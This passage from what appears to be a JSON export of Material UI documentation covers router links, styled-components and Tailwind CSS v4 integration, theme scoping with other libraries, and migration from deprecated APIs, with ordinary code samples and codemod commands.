query: { name: 'test' },\n        }}\n      >\n        Link\n      </Link>\n    );\n  }\n  ```\n\n### TanStack Router\n\nTanStack Router supports custom links through its `createLink` helper function.\nThe snippet below shows the most basic implementation, wrapping a Material UI Link component.\nSee [TanStack Router—Custom Link](https://tanstack.com/router/latest/docs/framework/react/guide/custom-link) for more component integration examples.\n\n```tsx\nimport { createLink } from '@tanstack/react-router';\nimport { Link as MUILink } from '@mui/material';\n\nconst CustomLink = createLink(MUILink);\n\nfunction App() {\n  return (\n    <CustomLink underline=\"none\" to=\"/about\">\n      Link to about page\n    </CustomLink>\n  );\n}\n```\n"
  },
  {
    "path": "docs/data/material/integrations/styled-components/styled-components.md",
    "content": "# Using styled-components\n\n<p class=\"description\">Learn how to use styled-components instead of Emotion with Material UI.</p>\n\n:::error\nAs of late 2021, [styled-components](https://github.com/styled-components/styled-components) is **not compatible** with server-rendered Material UI projects.\nThis is because `babel-plugin-styled-components` isn't able to work with the `styled()` utility inside `@mui` packages.\nSee [this GitHub issue](https://github.com/mui/material-ui/issues/29742) for more details.\n\nWe **strongly recommend** using Emotion for SSR projects.\n:::\n\nBy default, Material UI uses [Emotion](https://github.com/emotion-js/emotion) to generate CSS styles.\nAll components rely on the `styled()` API to inject CSS into the page.\nThis API is supported by multiple popular styling libraries, which makes it possible to switch between them in Material UI.\n\nWe provide two different packages to wrap your chosen styling solution for compatibility with Material UI:\n\n- `@mui/styled-engine`: a thin wrapper around Emotion's [`styled()`](https://emotion.sh/docs/styled) API that includes required utilities like the `<GlobalStyles />` component, the `css` and `keyframe` helpers, and more. This is the default, and you do not need to install it.\n- `@mui/styled-engine-sc`: a similar wrapper, but specifically tailored for styled-components. You must install and implement this package to use styled-components with Material UI.\n\nThese two packages implement the same interface, making them interchangeable.\n\n## Bundler configuration\n\nBy default, `@mui/material` has `@mui/styled-engine` as a dependency.\nTo use styled-components, you need to configure your bundler to replace it with `@mui/styled-engine-sc`.\n\n### With yarn\n\nIf you're using yarn, you can configure it using a package resolution:\n\n<!-- #npm-tag-reference -->\n\n```diff title=\"package.json\"\n {\n   \"dependencies\": {\n-    \"@mui/styled-engine\": \"@next\"\n+    \"@mui/styled-engine\": \"npm:@mui/styled-engine-sc@next\"\n   },\n+  \"resolutions\": {\n+    \"@mui/styled-engine\": \"npm:@mui/styled-engine-sc@next\"\n+  },\n }\n```\n\n### With npm\n\nBecause package resolutions aren't available with npm, you must update your bundler's config to add this alias.\nThe example below shows how to do this with webpack:\n\n```diff title=\"webpack.config.js\"\n module.exports = {\n   //...\n+  resolve: {\n+    alias: {\n+      '@mui/styled-engine': '@mui/styled-engine-sc'\n+    },\n+  },\n };\n```\n\nFor TypeScript, you must also update the `tsconfig.json` as shown here:\n\n```diff title=\"tsconfig.json\"\n {\n   \"compilerOptions\": {\n+    \"paths\": {\n+      \"@mui/styled-engine\": [\"./node_modules/@mui/styled-engine-sc\"]\n+    }\n   },\n }\n```\n\n### Next.js\n\n```diff title=\"next.config.js\"\n+const withTM = require('next-transpile-modules')([\n+  '@mui/material',\n+  '@mui/system',\n+  '@mui/icons-material', // If @mui/icons-material is being used\n+]);\n\n+module.exports = withTM({\n webpack: (config) => {\n   config.resolve.alias = {\n     ...config.resolve.alias,\n+    '@mui/styled-engine': '@mui/styled-engine-sc',\n    };\n    return config;\n  }\n+});\n```\n\n:::info\n**Versions compatibility**: To ensure compatibility, it's essential to align the major version of `@mui/styled-engine-sc` with that of the `styled-components` package you're using. For instance, if you opt for `styled-components` version 5, it's necessary to use `@mui/styled-engine-sc` version 5. Similarly, if your preference is `styled-components` version 6, you'll need to upgrade `@mui/styled-engine-sc` to its version 6, which is currently in an alpha state.\n:::\n"
  },
  {
    "path": "docs/data/material/integrations/tailwindcss/TextFieldTailwind.js",
    "content": "import FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport Input from '@mui/material/Input';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nexport default function TextFieldTailwind() {\n  return (\n    <FormControl>\n      <InputLabel\n        shrink\n        htmlFor=\"component-outlined\"\n        className=\"relative top-0 left-0 transform-none text-sm font-medium text-neutral-800 dark:text-neutral-200 pointer-events-auto mb-0.5\"\n      >\n        Name\n      </InputLabel>\n      <Input\n        id=\"component-outlined\"\n        placeholder=\"Type your name\"\n        slotProps={{\n          root: {\n            className:\n              'mt-0 -ml-0.5 px-2 h-10 border-1 border-neutral-300 dark:border-neutral-700 rounded-md has-[input:focus-visible]:outline-2 has-[input:focus-visible]:outline-offset-2 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm before:hidden after:hidden',\n          },\n          input: {\n            className:\n              'placeholder:opacity-100 placeholder:text-neutral-400 dark:placeholder:text-neutral-500',\n          },\n        }}\n      />\n      <FormHelperText className=\"ml-0\">Some important helper text</FormHelperText>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/tailwindcss/TextFieldTailwind.tsx",
    "content": "import FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport Input from '@mui/material/Input';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nexport default function TextFieldTailwind() {\n  return (\n    <FormControl>\n      <InputLabel\n        shrink\n        htmlFor=\"component-outlined\"\n        className=\"relative top-0 left-0 transform-none text-sm font-medium text-neutral-800 dark:text-neutral-200 pointer-events-auto mb-0.5\"\n      >\n        Name\n      </InputLabel>\n      <Input\n        id=\"component-outlined\"\n        placeholder=\"Type your name\"\n        slotProps={{\n          root: {\n            className:\n              'mt-0 -ml-0.5 px-2 h-10 border-1 border-neutral-300 dark:border-neutral-700 rounded-md has-[input:focus-visible]:outline-2 has-[input:focus-visible]:outline-offset-2 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm before:hidden after:hidden',\n          },\n          input: {\n            className:\n              'placeholder:opacity-100 placeholder:text-neutral-400 dark:placeholder:text-neutral-500',\n          },\n        }}\n      />\n      <FormHelperText className=\"ml-0\">Some important helper text</FormHelperText>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/integrations/tailwindcss/tailwindcss-v4.md",
    "content": "# Tailwind CSS v4 integration\n\n<p class=\"description\">Learn how to use Material UI with Tailwind CSS v4.</p>\n\n## Overview\n\nThere are two steps to integrate Tailwind CSS v4 with Material UI:\n\n1. Configure the styles to generate with the `@layer` directive.\n2. Set up the layer order so that `mui` comes before the `utilities` layer, allowing Tailwind CSS classes to override Material UI styles.\n\nThe instructions below detail how to achieve this using common React frameworks.\n\n### Next.js App Router\n\nTo integrate Tailwind CSS v4 with Material UI in a Next.js App Router project, start by configuring Material UI with Next.js in the [App Router integration guide](/material-ui/integrations/nextjs/#app-router).\nThen follow these steps:\n\n1. Enable the [CSS layer feature](/material-ui/integrations/nextjs/#using-other-styling-solutions) in the root layout:\n\n```tsx title=\"src/app/layout.tsx\"\nimport { AppRouterCacheProvider } from '@mui/material-nextjs/v15-appRouter';\n\nexport default function RootLayout() {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          {/* Your app */}\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n```\n\n2. Configure the layer order in the Tailwind CSS file:\n\n```css title=\"src/app/global.css\"\n@layer theme, base, mui, components, utilities;\n@import 'tailwindcss';\n```\n\n### Next.js Pages Router\n\nTo integrate Tailwind CSS v4 with Material UI in a Next.js Pages Router project, start by configuring Material UI with Next.js in the [Pages Router integration guide](/material-ui/integrations/nextjs/#pages-router).\nThen follow these steps:\n\n1. Create a shared Emotion cache (required for SSR + hydration)\n\n   Material UI relies on Emotion for styling.\n   To avoid hydration mismatches, the same Emotion cache instance and configuration must be used on both the server and the client.\n\n   Create a shared cache:\n\n   ```tsx title=\"src/createEmotionCache.js\"\n   import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';\n\n   export const emotionCache = createEmotionCache({ enableCssLayer: true });\n   ```\n\n   > `enableCssLayer: true` ensures Material UI styles are wrapped in `@layer mui`, which allows Tailwind CSS v4 utilities to override them predictably.\n\n2. Enable the [CSS layer feature](/material-ui/integrations/nextjs/#configuration-2) in a custom `_document`:\n\n```tsx title=\"pages/_document.tsx\"\nimport { documentGetInitialProps } from '@mui/material-nextjs/v15-pagesRouter';\nimport { emotionCache } from '../src/createEmotionCache';\n// ...\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const finalProps = await documentGetInitialProps(ctx, {\n    emotionCache,\n  });\n  return finalProps;\n};\n```\n\n3. Configure the global Tailwind CSS file:\n\n```css title=\"styles/global.css\"\n@import 'tailwindcss';\n```\n\n4. Configure the layer order with the `GlobalStyles` component—it must be the first child of the `AppCacheProvider`:\n\n```tsx title=\"pages/_app.tsx\"\nimport '../styles/global.css';\nimport { AppCacheProvider } from '@mui/material-nextjs/v15-pagesRouter';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { emotionCache } from '../src/createEmotionCache';\n\nexport default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n  return (\n    <AppCacheProvider emotionCache={emotionCache}>\n      <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      {/* Your app */}\n    </AppCacheProvider>\n  );\n}\n```\n\n### Vite.js or any other SPA\n\nTo integrate Tailwind CSS v4 with Material UI in a Vite-based app, make the following changes in `src/main.tsx`:\n\n1. Pass the `enableCssLayer` prop to the `StyledEngineProvider` component.\n2. Configure the layer order with the `GlobalStyles` component.\n\n```tsx title=\"main.tsx\"\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <StyledEngineProvider enableCssLayer>\n      <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      {/* Your app */}\n    </StyledEngineProvider>\n  </React.StrictMode>,\n);\n```\n\n## Tailwind CSS IntelliSense for VS Code\n\nThe official [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss) extension requires extra configuration to work properly when customizing the interior slots of Material UI components.\nAfter installing the extension, add the following line to your [VS Code `settings.json`](https://code.visualstudio.com/docs/configure/settings#_settings-json-file) file:\n\n```json\n{\n  // ...config\n  \"tailwindCSS.experimental.classRegex\": [[\"className\\\\s*:\\\\s*['\\\"]([^'\\\"]*)['\\\"]\"]]\n}\n```\n\nNow you should see the autocomplete and syntax highlighting features when using the `slotProps` prop, as shown in the screenshot below:\n\n![A preview of Tailwind CSS Intellisense](/static/material-ui/tailwind-intellisense.jpg)\n\n## Usage\n\n- Use the `className` prop to apply Tailwind CSS classes to the root element of the component.\n- Use `slotProps.{slotName}.className` to apply Tailwind CSS classes to a component's [interior slots](/material-ui/customization/overriding-component-structure/#interior-slots).\n\n{{\"demo\": \"TextFieldTailwind.js\"}}\n\n## Extend Material UI classes\n\nIf you want to use Material UI theme tokens in your Tailwind CSS classes, copy the snippet below into your CSS file.\n\n```css title=\"global.css\"\n@layer theme, base, mui, components, utilities;\n@import 'tailwindcss';\n\n@theme inline {\n  /* Material UI typography */\n  --font-h1: var(--mui-font-h1);\n  --font-h2: var(--mui-font-h2);\n  --font-h3: var(--mui-font-h3);\n  --font-h4: var(--mui-font-h4);\n  --font-h5: var(--mui-font-h5);\n  --font-h6: var(--mui-font-h6);\n  --font-subtitle1: var(--mui-font-subtitle1);\n  --font-subtitle2: var(--mui-font-subtitle2);\n  --font-body1: var(--mui-font-body1);\n  --font-body2: var(--mui-font-body2);\n  --font-button: var(--mui-font-button);\n  --font-caption: var(--mui-font-caption);\n  --font-overline: var(--mui-font-overline);\n\n  --letter-spacing-h1: -0.01562em;\n  --letter-spacing-h2: -0.00833em;\n  --letter-spacing-h4: 0.00735em;\n  --letter-spacing-h6: 0.0075em;\n  --letter-spacing-body1: 0.00938em;\n  --letter-spacing-body2: 0.01071em;\n\n  /* Material UI breakpoints */\n  --breakpoint-sm: 37.5rem; /* 600px */\n  --breakpoint-md: 56.25rem; /* 900px */\n  --breakpoint-lg: 75rem; /* 1200px */\n  --breakpoint-xl: 96rem; /* 1536px */\n  --breakpoint-2xl: 120rem; /* 1920px */\n\n  /* Material UI theme colors */\n  --color-primary: var(--mui-palette-primary-main);\n  --color-primary-light: var(--mui-palette-primary-light);\n  --color-primary-dark: var(--mui-palette-primary-dark);\n  --color-primary-contrast: var(--mui-palette-primary-contrastText);\n\n  --color-secondary: var(--mui-palette-secondary-main);\n  --color-secondary-light: var(--mui-palette-secondary-light);\n  --color-secondary-dark: var(--mui-palette-secondary-dark);\n  --color-secondary-contrast: var(--mui-palette-secondary-contrastText);\n\n  /* Material UI status colors */\n  --color-info: var(--mui-palette-info-main);\n  --color-info-light: var(--mui-palette-info-light);\n  --color-info-dark: var(--mui-palette-info-dark);\n  --color-info-contrast: var(--mui-palette-info-contrastText);\n\n  --color-error: var(--mui-palette-error-main);\n  --color-error-light: var(--mui-palette-error-light);\n  --color-error-dark: var(--mui-palette-error-dark);\n  --color-error-contrast: var(--mui-palette-error-contrastText);\n\n  --color-success: var(--mui-palette-success-main);\n  --color-success-light: var(--mui-palette-success-light);\n  --color-success-dark: var(--mui-palette-success-dark);\n  --color-success-contrast: var(--mui-palette-success-contrastText);\n\n  --color-warning: var(--mui-palette-warning-main);\n  --color-warning-light: var(--mui-palette-warning-light);\n  --color-warning-dark: var(--mui-palette-warning-dark);\n  --color-warning-contrast: var(--mui-palette-warning-contrastText);\n\n  /* Material UI text & common colors */\n  --color-text-primary: var(--mui-palette-text-primary);\n  --color-text-secondary: var(--mui-palette-text-secondary);\n  --color-text-disabled: var(--mui-palette-text-disabled);\n  --color-common-background: var(--mui-palette-common-background);\n  --color-common-onBackground: var(--mui-palette-common-onBackground);\n  --color-divider: var(--mui-palette-divider);\n\n  /* Material UI background colors */\n  --color-background-default: var(--mui-palette-background-default);\n  --color-background-paper: var(--mui-palette-background-paper);\n\n  /* Material UI action colors */\n  --color-action-active: var(--mui-palette-action-active);\n  --color-action-hover: var(--mui-palette-action-hover);\n  --color-action-selected: var(--mui-palette-action-selected);\n  --color-action-disabled: var(--mui-palette-action-disabled);\n  --color-action-focus: var(--mui-palette-action-focus);\n\n  /* Material UI gray scale */\n  --color-gray-50: var(--mui-palette-grey-50);\n  --color-gray-100: var(--mui-palette-grey-100);\n  --color-gray-200: var(--mui-palette-grey-200);\n  --color-gray-300: var(--mui-palette-grey-300);\n  --color-gray-400: var(--mui-palette-grey-400);\n  --color-gray-500: var(--mui-palette-grey-500);\n  --color-gray-600: var(--mui-palette-grey-600);\n  --color-gray-700: var(--mui-palette-grey-700);\n  --color-gray-800: var(--mui-palette-grey-800);\n  --color-gray-900: var(--mui-palette-grey-900);\n  --color-gray-A100: var(--mui-palette-grey-A100);\n  --color-gray-A200: var(--mui-palette-grey-A200);\n  --color-gray-A400: var(--mui-palette-grey-A400);\n  --color-gray-A700: var(--mui-palette-grey-A700);\n\n  /* Material UI Component Colors */\n  /* Alert */\n  --color-Alert-error: var(--mui-palette-Alert-errorColor);\n  --color-Alert-info: var(--mui-palette-Alert-infoColor);\n  --color-Alert-success: var(--mui-palette-Alert-successColor);\n  --color-Alert-warning: var(--mui-palette-Alert-warningColor);\n  --color-Alert-errorFilled: var(--mui-palette-Alert-errorFilledBg);\n  --color-Alert-infoFilled: var(--mui-palette-Alert-infoFilledBg);\n  --color-Alert-successFilled: var(--mui-palette-Alert-successFilledBg);\n  --color-Alert-warningFilled: var(--mui-palette-Alert-warningFilledBg);\n  --color-Alert-errorFilledColor: var(--mui-palette-Alert-errorFilledColor);\n  --color-Alert-infoFilledColor: var(--mui-palette-Alert-infoFilledColor);\n  --color-Alert-successFilledColor: var(--mui-palette-Alert-successFilledColor);\n  --color-Alert-warningFilledColor: var(--mui-palette-Alert-warningFilledColor);\n  --color-Alert-errorStandard: var(--mui-palette-Alert-errorStandardBg);\n  --color-Alert-infoStandard: var(--mui-palette-Alert-infoStandardBg);\n  --color-Alert-successStandard: var(--mui-palette-Alert-successStandardBg);\n  --color-Alert-warningStandard: var(--mui-palette-Alert-warningStandardBg);\n  --color-Alert-errorIcon: var(--mui-palette-Alert-errorIconColor);\n  --color-Alert-infoIcon: var(--mui-palette-Alert-infoIconColor);\n  --color-Alert-successIcon: var(--mui-palette-Alert-successIconColor);\n  --color-Alert-warningIcon: var(--mui-palette-Alert-warningIconColor);\n\n  /* AppBar */\n  --color-AppBar-default: var(--mui-palette-AppBar-defaultBg);\n\n  /* Avatar */\n  --color-Avatar-default: var(--mui-palette-Avatar-defaultBg);\n\n  /* Button */\n  --color-Button-inheritContained: var(--mui-palette-Button-inheritContainedBg);\n  --color-Button-inheritContainedHover: var(\n    --mui-palette-Button-inheritContainedHoverBg\n  );\n\n  /* Chip */\n  --color-Chip-defaultBorder: var(--mui-palette-Chip-defaultBorder);\n  --color-Chip-defaultAvatar: var(--mui-palette-Chip-defaultAvatarColor);\n  --color-Chip-defaultIcon: var(--mui-palette-Chip-defaultIconColor);\n\n  /* FilledInput */\n  --color-FilledInput-bg: var(--mui-palette-FilledInput-bg);\n  --color-FilledInput-hover: var(--mui-palette-FilledInput-hoverBg);\n  --color-FilledInput-disabled: var(--mui-palette-FilledInput-disabledBg);\n\n  /* LinearProgress */\n  --color-LinearProgress-primary: var(--mui-palette-LinearProgress-primaryBg);\n  --color-LinearProgress-secondary: var(--mui-palette-LinearProgress-secondaryBg);\n  --color-LinearProgress-error: var(--mui-palette-LinearProgress-errorBg);\n  --color-LinearProgress-info: var(--mui-palette-LinearProgress-infoBg);\n  --color-LinearProgress-success: var(--mui-palette-LinearProgress-successBg);\n  --color-LinearProgress-warning: var(--mui-palette-LinearProgress-warningBg);\n\n  /* Skeleton */\n  --color-Skeleton-bg: var(--mui-palette-Skeleton-bg);\n\n  /* Slider */\n  --color-Slider-primary: var(--mui-palette-Slider-primaryTrack);\n  --color-Slider-secondary: var(--mui-palette-Slider-secondaryTrack);\n  --color-Slider-error: var(--mui-palette-Slider-errorTrack);\n  --color-Slider-info: var(--mui-palette-Slider-infoTrack);\n  --color-Slider-success: var(--mui-palette-Slider-successTrack);\n  --color-Slider-warning: var(--mui-palette-Slider-warningTrack);\n\n  /* SnackbarContent */\n  --color-SnackbarContent-bg: var(--mui-palette-SnackbarContent-bg);\n  --color-SnackbarContent-text: var(--mui-palette-SnackbarContent-color);\n\n  /* SpeedDialAction */\n  --color-SpeedDialAction-fabHover: var(--mui-palette-SpeedDialAction-fabHoverBg);\n\n  /* StepConnector & StepContent */\n  --color-StepConnector-border: var(--mui-palette-StepConnector-border);\n  --color-StepContent-border: var(--mui-palette-StepContent-border);\n\n  /* Switch */\n  --color-Switch-default: var(--mui-palette-Switch-defaultColor);\n  --color-Switch-defaultDisabled: var(--mui-palette-Switch-defaultDisabledColor);\n  --color-Switch-primaryDisabled: var(--mui-palette-Switch-primaryDisabledColor);\n  --color-Switch-secondaryDisabled: var(--mui-palette-Switch-secondaryDisabledColor);\n  --color-Switch-errorDisabled: var(--mui-palette-Switch-errorDisabledColor);\n  --color-Switch-infoDisabled: var(--mui-palette-Switch-infoDisabledColor);\n  --color-Switch-successDisabled: var(--mui-palette-Switch-successDisabledColor);\n  --color-Switch-warningDisabled: var(--mui-palette-Switch-warningDisabledColor);\n\n  /* TableCell */\n  --color-TableCell-border: var(--mui-palette-TableCell-border);\n\n  /* Tooltip */\n  --color-Tooltip-bg: var(--mui-palette-Tooltip-bg);\n\n  /* Material UI shadows */\n  --shadow-1: var(--mui-shadows-1);\n  --shadow-2: var(--mui-shadows-2);\n  --shadow-3: var(--mui-shadows-3);\n  --shadow-4: var(--mui-shadows-4);\n  --shadow-5: var(--mui-shadows-5);\n  --shadow-6: var(--mui-shadows-6);\n  --shadow-7: var(--mui-shadows-7);\n  --shadow-8: var(--mui-shadows-8);\n  --shadow-9: var(--mui-shadows-9);\n  --shadow-10: var(--mui-shadows-10);\n  --shadow-11: var(--mui-shadows-11);\n  --shadow-12: var(--mui-shadows-12);\n  --shadow-13: var(--mui-shadows-13);\n  --shadow-14: var(--mui-shadows-14);\n  --shadow-15: var(--mui-shadows-15);\n  --shadow-16: var(--mui-shadows-16);\n  --shadow-17: var(--mui-shadows-17);\n  --shadow-18: var(--mui-shadows-18);\n  --shadow-19: var(--mui-shadows-19);\n  --shadow-20: var(--mui-shadows-20);\n  --shadow-21: var(--mui-shadows-21);\n  --shadow-22: var(--mui-shadows-22);\n  --shadow-23: var(--mui-shadows-23);\n  --shadow-24: var(--mui-shadows-24);\n\n  /* Material UI opacity */\n  --opacity-activated: calc(100% * var(--mui-palette-action-activatedOpacity));\n  --opacity-disabled: calc(100% * var(--mui-palette-action-disabledOpacity));\n  --opacity-focus: calc(100% * var(--mui-palette-action-focusOpacity));\n  --opacity-hover: calc(100% * var(--mui-palette-action-hoverOpacity));\n  --opacity-selected: calc(100% * var(--mui-palette-action-selectedOpacity));\n\n  /* Material UI overlays */\n  --overlay-1: var(--mui-overlays-1);\n  --overlay-2: var(--mui-overlays-2);\n  --overlay-3: var(--mui-overlays-3);\n  --overlay-4: var(--mui-overlays-4);\n  --overlay-5: var(--mui-overlays-5);\n  --overlay-6: var(--mui-overlays-6);\n  --overlay-7: var(--mui-overlays-7);\n  --overlay-8: var(--mui-overlays-8);\n  --overlay-9: var(--mui-overlays-9);\n  --overlay-10: var(--mui-overlays-10);\n  --overlay-11: var(--mui-overlays-11);\n  --overlay-12: var(--mui-overlays-12);\n  --overlay-13: var(--mui-overlays-13);\n  --overlay-14: var(--mui-overlays-14);\n  --overlay-15: var(--mui-overlays-15);\n  --overlay-16: var(--mui-overlays-16);\n  --overlay-17: var(--mui-overlays-17);\n  --overlay-18: var(--mui-overlays-18);\n  --overlay-19: var(--mui-overlays-19);\n  --overlay-20: var(--mui-overlays-20);\n  --overlay-21: var(--mui-overlays-21);\n  --overlay-22: var(--mui-overlays-22);\n  --overlay-23: var(--mui-overlays-23);\n  --overlay-24: var(--mui-overlays-24);\n}\n\n/* Material UI base styles */\n@layer base {\n  h1 {\n    font: var(--mui-font-h1);\n    letter-spacing: -0.01562em;\n  }\n  h2 {\n    font: var(--mui-font-h2);\n    letter-spacing: -0.00833em;\n  }\n  h3 {\n    font: var(--mui-font-h3);\n  }\n  h4 {\n    font: var(--mui-font-h4);\n    letter-spacing: 0.00735em;\n  }\n  h5 {\n    font: var(--mui-font-h5);\n  }\n  h6 {\n    font: var(--mui-font-h6);\n    letter-spacing: 0.0075em;\n  }\n  p {\n    font: var(--mui-font-body1);\n    letter-spacing: 0.00938em;\n  }\n  span {\n    font: var(--mui-font-body2);\n    letter-spacing: 0.01071em;\n  }\n}\n\n/* Material UI typography utilities */\n@utility typography-* {\n  font: --value(--font-*);\n}\n\n/* Material UI overlay utilities */\n@utility overlay-* {\n  background-image: --value(--overlay-*);\n}\n\n/* Material UI elevation utilities */\n@utility elevation-* {\n  background-image: --value(--overlay-*);\n  box-shadow: --value(--shadow-*);\n}\n```\n\nThen you can start using the new classes—for example:\n\n- The class `typography-h1` produces `font: var(--mui-font-h1);`\n- The class `text-primary` produces `color: var(--mui-palette-primary-main);`\n\nSo when you add these classes to an element…\n\n```js title=\"App.tsx\"\n<div className=\"typography-h1 text-primary\">Hello world</div>\n```\n\n…the CSS looks like this:\n\n```css\n@layer utilities {\n  .typography-h1 {\n    font: var(--mui-font-h1);\n    letter-spacing: -0.01562em;\n  }\n  .text-primary {\n    color: var(--mui-palette-primary-main);\n  }\n}\n```\n\n### Playground\n\nVisit the [Tailwind CSS Playground](https://play.tailwindcss.com/mh7Ym0mGff) to explore the classes from Material UI theme tokens.\n\n## Troubleshooting\n\nIf the Tailwind CSS classes are not overriding Material UI components, make sure that:\n\n- You are using Tailwind CSS >= v4.\n- You have configured the layer order correctly by checking the [DevTools styles tab](https://developer.chrome.com/docs/devtools/css/reference#cascade-layers). The `mui` layer should come before the `utilities` layer.\n"
  },
  {
    "path": "docs/data/material/integrations/theme-scoping/theme-scoping.md",
    "content": "# Theme scoping\n\n<p class=\"description\">Learn how to use multiple styling solutions in a single Material UI app.</p>\n\n:::warning\nHaving more than one styling library can introduce unnecessary complexity to your project.\nYou should have a very good reason to do this.\n:::\n\nStarting with [v5.12.0](https://github.com/mui/material-ui/releases/tag/v5.12.0), Material UI can coexist with other component libraries that depend on Emotion or styled-components—this is possible thanks to _theme scoping_.\n\nTo do this, you need to render Material UI's `ThemeProvider` as an inner provider and use the `THEME_ID` to store the theme, as shown below:\n\n```js\nimport { ThemeProvider, THEME_ID, createTheme } from '@mui/material/styles';\nimport { AnotherThemeProvider } from 'another-ui-library';\n\nconst materialTheme = createTheme(/* your theme */);\n\nfunction App() {\n  return (\n    <AnotherThemeProvider>\n      <ThemeProvider theme={{ [THEME_ID]: materialTheme }}>\n        {/* components from another library and Material UI */}\n      </ThemeProvider>\n    </AnotherThemeProvider>\n  );\n}\n```\n\nThe Material UI theme will be separated from the other library, so when you use APIs such as `styled`, the `sx` prop, and `useTheme`, you'll be able to access Material UI's theme like you normally would.\n\n## Minimum version\n\n[Theme scoping](https://github.com/mui/material-ui/pull/36664) was introduced in Material UI v5.12.0, so make sure you're running that version or higher.\n\n### Using with Theme UI\n\nRender Material UI's theme provider below Theme UI's provider and assign the `materialTheme` to the `THEME_ID` property:\n\n```js\nimport { ThemeUIProvider } from 'theme-ui';\nimport { createTheme as materialCreateTheme, THEME_ID } from '@mui/material/styles';\n\nconst themeUITheme = {\n  fonts: {\n    body: 'system-ui, sans-serif',\n    heading: '\"Avenir Next\", sans-serif',\n    monospace: 'Menlo, monospace',\n  },\n  colors: {\n    text: '#000',\n    background: '#fff',\n    primary: '#33e',\n  },\n};\n\nconst materialTheme = materialCreateTheme();\n\nfunction App() {\n  return (\n    <ThemeUIProvider theme={themeUITheme}>\n      <MaterialThemeProvider theme={{ [THEME_ID]: materialTheme }}>\n        Theme UI components and Material UI components\n      </MaterialThemeProvider>\n    </ThemeUIProvider>\n  );\n}\n```\n\n### Using with Chakra UI\n\nRender Material UI's theme provider below Chakra UI's provider and assign the `materialTheme` to the `THEME_ID` property:\n\n```js\nimport { ChakraProvider, extendTheme as chakraExtendTheme } from '@chakra-ui/react';\nimport {\n  ThemeProvider as MaterialThemeProvider,\n  createTheme as muiCreateTheme,\n  THEME_ID,\n} from '@mui/material/styles';\n\nconst chakraTheme = chakraExtendTheme();\nconst materialTheme = muiCreateTheme();\n\nfunction App() {\n  return (\n    <ChakraProvider theme={chakraTheme} resetCSS>\n      <MaterialThemeProvider theme={{ [THEME_ID]: materialTheme }}>\n        Chakra UI components and Material UI components\n      </MaterialThemeProvider>\n    </ChakraProvider>\n  );\n}\n```\n"
  },
  {
    "path": "docs/data/material/migration/migrating-from-deprecated-apis/migrating-from-deprecated-apis.md",
    "content": "# Migrating from deprecated APIs\n\n<p class=\"description\">Learn how to migrate away from recently deprecated APIs before they become breaking changes.</p>\n\n## Why you should migrate\n\nFeatures become deprecated over time as maintainers make improvements to the APIs.\nMigrating to these improved APIs results in a better developer experience, so it's in your best interest to stay up to date.\nDeprecated APIs often become breaking changes in subsequent major versions, so the sooner you migrate, the smoother the next major update will be.\n\n## Migrating\n\nMaterial UI provides the `deprecations/all` codemod to help you stay up to date with minimal effort.\n\n```bash\nnpx @mui/codemod@latest deprecations/all <path>\n```\n\nThis command runs all the current [deprecations codemods](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#deprecations), automatically migrating to the updated API.\nYou can run this codemod as often as necessary to keep up with the latest changes.\n\n:::info\n\nIf you need to manually migrate from a deprecated API, you can find examples below for all deprecations that have been added in Material UI v5.\nIf you need to run a specific codemod, those are also linked below.\n\n:::\n\n## Package-wide deprecated APIs\n\n### Inner element overrides\n\nThe `slots` and `slotProps` APIs are in the process of being standardized.\nThe analogous APIs—`components`, `componentsProps`, `<SlotName>Component`, and `<SlotName>Props`—are going to be deprecated and eventually removed.\nThis improves the developer experience through consistency, predictability, and reduced cognitive load.\n\n### Composed CSS classes\n\nThe composed CSS classes are going to be deprecated and eventually removed in favor of atomic class alternatives.\nFor example, the `.MuiAccordionSummary-contentGutters` class was deprecated in favor of the `.MuiAccordionSummary-gutters` and `.MuiAccordionSummary-content` classes.\nThis improves the developer experience by reducing bloat and cognitive load.\n\n### System props\n\nMUI System props (such as `mt={*}`, `bgcolor={*}`, and more) have been deprecated in the Box, Typography, Link, Grid, and Stack components.\nUse the codemod below to move all System props to the `sx` prop:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/system-props <path/to/folder>\n```\n\nYou can also manually update your components as shown in the snippet below:\n\n```diff\n-<Button mr={2}>\n+<Button sx={{ mr: 2 }}>\n```\n\nThe `sx` prop supports all features of system props: callbacks with access to the theme, responsive values, direct access to theme values, shorthands, etc.\n\n### Theme component variants\n\nCustom component variants defined in the theme are now merged with the theme style overrides, defined within the `root` slot of the component.\n\nUse this codemod to update your project's theme file:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/theme-v6 <path/to/theme>\n```\n\nYou can also manually update your theme as shown in the snippet below:\n\n```diff\n createTheme({\n   components: {\n     MuiButton: {\n-      variants: [ ... ],\n+      styleOverrides: {\n+        root: {\n+          variants: [ ... ],\n+        },\n+      },\n     },\n   },\n });\n```\n\nThis reduces the API surface and lets you define variants in other slots of the component.\n\n## Accordion\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#accordion-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/accordion-props <path>\n```\n\n### TransitionComponent\n\nThe Accordion's `TransitionComponent` prop was deprecated in favor of 